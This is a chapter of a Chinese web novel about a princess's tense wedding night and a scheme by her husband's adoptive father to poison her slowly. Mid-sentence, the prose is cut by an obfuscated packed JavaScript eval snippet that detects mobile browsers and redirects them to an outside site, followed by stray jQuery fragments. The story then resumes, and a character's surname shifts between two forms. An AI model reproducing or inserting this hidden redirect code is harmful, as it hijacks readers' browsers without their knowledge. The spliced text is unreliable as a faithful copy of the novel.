啊,这。
好半晌,南宫樱都讪讪地站在那里,不知该怎么办好。
“你,你没事吧?”
驸马今夜应当是装醉的,可这么一摔,有可能真的晕了也说不准。
慕望轩:“……”
就在刚才,她本来打算扶他一把,把他搀进来的,可没想到对方倾身过来的时候竟然冲她伸出手,可把南宫樱吓了一跳,一时就没接住。
她哪里敢跟他牵手手?
噩梦里她的手被砍掉,不正是因为她那双手触碰过男主的肌肤吗?
男主的“肌肤”,在男主的眼里,那是女主的专属,其他人敢碰就是杀无赦!
要怪就怪男主太狠戾,所以她带着手套,提前避灾。
南宫樱低头尴尬地看看自己带了手套的双手,再抬头看看,后知后觉即便刚才是碰手也触碰不到什么肌肤。
但是,有什么用呢,反应慢了一步,男主已经给砸地上了。
要说自己当初,也真是不顶用,脑子里除了恋爱没别的了吧?
男主这么大一坨,两个宫人都才勉强扶住,她一个女子,瞎逞什么能?还把人都遣散了,真是脑残!
骂完自己的南宫樱自知罪孽深重,弯腰开始“捡”地上的夫君。
心头碎碎念,摔了男主毕竟比碰了男主好一些,她不是有心的,应该不会受到什么严厉惩罚吧?
“真是不好意思啊,我,我,嗯……嗯?!”
男主身体很沉,她拽了几下,拽不起来。
可,若是拖到床上,不知男主的脸皮够不够厚?会不会磨破?
算了,可不敢再找死。
南宫樱打算出门喊宫人,但开了门,她又想到不能大声喊,万一人真晕了,被她喊醒可不好。
思量一番,又反手关上门,看着地上一动不动的驸马,南宫樱决定使出点内力,把男主抗肩膀上抬床上算了。
她的功夫好是好,但基本是真气轻功在行啊,内力方面,好像不太行。
哪只南宫樱刚吸了一口气想试试,趴地上的男主忽然笑了。
吓得她赶忙收敛气息,弯腰细听。
就见男主喘息几下,似乎咳嗽了起来。哦,原来不是笑。
眼看人已经“醒”了,南宫樱忙扶上去,驸马摇晃着自己站了起来。
“对不住公主殿下,臣喝醉了。”
慕望轩扶额而立,脸色涨得紫红,真真一副酩酊大醉的模样,演技没话说。
南宫樱先在心里默默给他点了个赞,而后摇头晃脑接“戏”道:“啊?那怎么办?夫君一向是有分寸的人,怎么偏喝这么多?是不是那些坏臣子有人故意使绊子,为难于夫君,等我调查出来,定要他们好看!”
说完这话,不光是慕望轩,连南宫樱自己,嘴角都抽了抽。
哎呦,这说的什么糟糕台词啊!
声音夹得过分,又尖锐又做作,从狼外婆变成狐狸精了。
南宫樱收回配合最后一句伸出的一指的左手和掐腰的右手,咳了几下,松了松嗓子,轻声道:“……既然夫君喝多了,就先歇着吧。”
“……好。”
慕望轩自己挪腾到床上,倒省了南宫樱的麻烦,她狗腿地跟在后面,一会儿问要不要水,一会儿问要不要湿帕子。
活像酒楼迎客的店小二。
偌大的婚房在灯烛的映衬下红喜遍地,莲子花生桂圆红枣静静地摆在喜盘里,除了南宫樱略显造作的殷勤有点聒噪之外,余下的就是红烛洞房里数不尽的静谧朦胧气息,连空气里都带着一丝温柔缱绻,不知是不是她的错觉,他好像在百子帐缦前顿了一顿,才慢慢坐下。
慕望轩坐下后抬头看了她一会儿。
南宫樱笑容可掬地站在床边和他盈盈对视——只动口不动手,完全没有要去端水端盆伺候的意思。
他默了片刻,开口谢绝了。
“臣还好,不必劳累殿下。”
本以为会是“驸马沾床就熟睡过去”,南宫樱并没有提前准备更多的台词。
眼看慕望轩依旧坚持靠坐着,两人开始相对默默无言,她身子慢慢紧绷起来。
他身量极其高大,进来之后,婚房都好似变小了,哪怕是坐在床沿上,都和她站着差不多高。
余光瞥见他那阔背宽肩,和被大红色婚服紧裹着的健硕手臂,想象这人暴起时完全能一手拧断人的脖子,南宫樱的背越发佝偻起来。
本书的文字世界,到了这段剧情,应当是极尽描写男主的英俊傲人外表吧。
不用细看,也知道他那张绝世俊美的脸在婚服的映衬下,此刻该有多么耀眼夺目。
若是换成恋爱脑的她,只怕要被夺了魂勾了魄去。
但倜傥俊美如斯,深情厚谊如斯,勇猛无敌如斯,都不是属于她的,男主的爱,只钟情于女主一个人。
他能给她条活路,便是最好的结局……
这么近距离的接触,不免让人触“景”生情,那些噩梦慢慢从隐蔽的思绪里爬出来,南宫樱要使劲儿控制自己,不去胡思乱想。
她的笑都有些挤不出来了,绷着脸垂头站在他面前,像个受了惊吓的鹌鹑,又像站在老师面前认错的小学生。
有种第一次站在灯光目光齐汇聚的演讲台,腿肚子轻轻打颤的感觉。
刚开始那股子勇劲儿,也不知道跑哪儿去了。
南宫樱抓耳挠腮几下,正想把“要不要水、帕子”什么的再说一遍,慕望轩忽然眉头一拧。
“……殿下,房里是有什么味道吗?”
“啊?”
没想到他会说这个,南宫樱一怔,嗓子都忘了夹,慌张答道:“什么味道啊,我怎么没闻到!”
羞赧、心虚一齐涌上心头,先头那些恐惧一扫而空。
她四处打量,还使劲嗅了几下,想了会儿,才看见案几上的香炉,他说的莫不是这个?走过去,果然被浓浓的香气香薰了一下。
果然如此,除了香炉没别的了。试想她那股真气,就算再厉害,也不可能在屋里徘徊这么久,定是这个香炉放了太多香的缘故。
刚想回头回答驸马,却发现对方已经倒头在床上,呼吸平稳。
睡着了?
“呼——”
大大松一口气。
恶女夺命新婚夜,就这?第一夜的剧情也太简单了吧?
看着沉睡的驸马毫无威胁的样子,她的心情悄悄雀跃起来,不自觉地扭了几下腰身,要不是怕吵醒驸马,真想蹦几下庆祝过关!
但驸马是装醉,不是真醉,这个她还是清楚知道的。赶紧麻利点也悄悄上床歇着吧。
只是……
换好衣裳的南宫樱爬上床的时候,偷偷瞥了眼旁边男人的眉眼,这睡相要是装的,那演技也太强了吧?
不管了。好几天没怎么睡好觉的南宫樱才是沾床就要着,她调整了几下摔疼的屁股,找个舒服的角度,很快睡着过去。
身旁均匀的呼吸传来有一会儿之后,慕望轩睁开了眼睛,瞥了眼睡熟的南宫樱,随后轻手利脚起身,悄无声息消失在门口。
未燃灯的丝竹宫书斋内,几个人影静默而坐。
月光透窗落地,映出三张男子的脸,居中者年纪稍长,神态也比旁侧男子更显威仪肃穆,三人均是着普通仆从衣饰。
门外很快接连又闪进两个人影。
后进来的慕望轩对着长者施礼:“见过义父。”
“轩儿不必多礼。”长者摆手,“天不亮我们就得随那些臣子的仆从队伍出去,一切长话短说。”
“是。”慕望轩侧过身,请另一位同进的老者说话。
这位老者头发雪白,面色红润,一张脸似小娃娃般,只下巴上如一把刚被割过的韭菜似的白胡子略显凌乱。
“唉,我就说宫里御医那么多,根本没什么事,非得让我来看看,白瞎了老夫养得这么好看的一把胡子,主公说剪就给我剪了……”
老者开口便是一顿大声抱怨,余下人都缄默无语,只萧放食指立在嘴上对他嘘声,再就是主公额角青筋跳动。
“霍老仙风道骨,不作一番掩饰难以混进宫中,我也是无法之法。”
“那你也可以让少主把公主骗出宫去啊,非得让我亲自进来,齐玉峰你性子这么急躁,恐怕是肝火旺盛、肝郁气滞、心火亢盛,不如让老夫给你好好调调,不然以后小便赤短,肾虚精亏……”
“轩儿!由你来说。”齐玉峰压低声音断喝,打断霍一观的唠叨。
慕望轩这才缓缓开口,简单说了近来的情况,圣上和颜悦色,与臣子们也举杯共饮,如今公主殿一切安好,总体来说算是顺利。
“嗯,那就好,只是为何前些日子都传公主疯了?”宁玉峰脸色稍缓,道:“我也唯恐那公主命短,万一有个什么不测,不但影响咱们今后在宫里的事务,还会牵连到轩儿。”
“义父放心,霍先生诊脉无恙。”
霍一观免不了在旁得意:“嗨,老夫的手法,不是我吹嘘自个儿家,少顷我给你开个方子,保管调理得你跟你的宠妾两年抱仨……”
“有劳霍老先出去一下好吗,容我和我儿谈几句私话。”宁玉峰冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499640|185996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷道:“轩儿一进宫,再想见面就难了,还请霍老海涵。”
话说得客气,赶人的意思也十分明显。
霍一观翻了个白眼,从鼻子里重重哼出一声,拂袖而去。
书斋再次恢复安静。
宁玉峰温言道:“轩儿,你在宫里照顾好自己,唉,也是辛苦了你,要日日与那公主周旋。”
“义父严重了,都是小事。”慕望轩拱手回答。
“你我私下间,就别那么见外。”宁玉峰按下慕望轩的手,示意了一眼旁边的男子,那人立刻恭敬递上手里的东西。
“轩儿,那公主既然无恙,我就放心了,但也不能让她太安好,免得日后她起了疑心,你还要多费心遮掩。喏,这里是一包缓性药膏,每次只需用一个指甲盖那么大就够,天长日久,她会先失声、后失智,却不会毙命,如此才好任你驱使。”宁玉峰将手里的药膏递出。
慕望轩还没说话,旁边另一面容细嫩的年轻男子上前一步道:“主公恕罪,请容属下明禀,那公主虽疯癫,但一心向着少主,并无其他威胁可言,平日对待下人亦宽厚,况我们这回算是利用了她,属、属下觉得此举,似乎有违道义。”
这人正是先前在婚房门口传话给慕望轩的宫人,伪装成太监,在丝竹宫膳房做粗活,实则是宁玉峰的下属。
眼见主公脸色越来越低沉,他话到最后也磕磕绊绊起来。
“萧放,你今天的话是不是说的有点多?认了新主子,就忘了自己身份吗?”
“属下不敢!”萧放躬身跪拜在地。
慕望轩道:“义父息怒,萧尉也是怕此举引起王族的注意,给我们惹上麻烦,但据我观察,那公主痴傻人尽皆知,想来宫中没人会真正关心她,义父把药给我就好。”说完,上前接过药盒收入胸口袋。
宁玉峰方露出笑容,“到底是轩儿果断,说得好!欲成大事不拘小节,王族勋贵无有不搜刮百姓脂膏的,宫中酒肉臭,宫外饿死骨。”
“此药膏精炼而成,无色不苦微有茉莉花香,混入花茶中便万无一失。”他说着,瞥了眼低头不语的慕望轩,叹道:“……轩儿定是觉得义父心狠了,那公主听着也是个可怜人,如她一直老老实实,不耽误你行事,事成后我会把解药给她的。”
慕望轩和萧放齐齐拱手称是。
宁玉峰又嘱咐了几句,便让众人散去。
慕望轩与萧放一路往回,萧放几次瞥眼看过来,似有话要说,慕望轩顿住脚步,手扶他的肩膀淡声道:“义父年岁已大,你我又是晚辈,谏使更需得徐徐图之。”
萧放神色缓和,两人抬步再要走,忽听前面有脚步声,少顷,闪出个人影,竟是霍一观。
“少主请留步。”
慕望轩让萧放先行,他与霍一观来到一隐蔽之处,拱了拱手。
“我正要去寻先生的,不想在这里遇见。”
慕望轩不是不诧异,依着这位老先生往日的脾性,被义父呛了居然没先走,真是要日头西升了。
不等再开口,霍一观压低声音,先问上了:“喂,老家伙是不是把伤人的药给你了?”
慕望轩:“……嗯。”
霍一观气得胡子翘起来:“他让我配药的时候我还没想到他这么狠辣,我是大夫,只救人,不伤人,那茉莉花香的药膏子,如若用在得了不治的痈疽之上,可减缓病人死前的痛苦,但若用在没病的常人身上,日久伤及本体,还会落下失声痴傻的毛病。我念他大夫人命不久矣,才给他配了这药!”
“……他越老做事越糊涂,像他这样子,就是心肝脾肺肾都失调了,偏还不自量力讳疾忌医。你们和王族之间的仇恨怎么报我不管,但我等你,是让你转告那老东西,我跟他绝交了,我欠他的早都还清了,从此以后不要再来找我!还有你,哼!我……”
幸好今晚丝竹宫的所有人都闭门不出,不然准被霍仙这通牢骚给叫嚷出来。
慕望轩耐心地等,直到霍一观说得差不多了,才附耳对他说了一些话,霍一观的胡子渐渐落了下来,抬眼疑惑地看着对方,“你是想利用她吗?”
……
南宫樱这一夜睡得不好也不坏。
没有系统打扰,她是真的补足了觉。
只是不知道是不是表演恶毒女配太累,她迷迷糊糊还是做了些怪梦。
并不是什么囚室噩梦,而是觉得睡着的时候好像有双可怕的眼睛在看着她似的,压迫感十足,还感觉有人碰了她的手套。
睁开眼睛,瞧见自己摆个大字在床上,南宫樱赶紧收回坐起来,第一件事就是检查手套。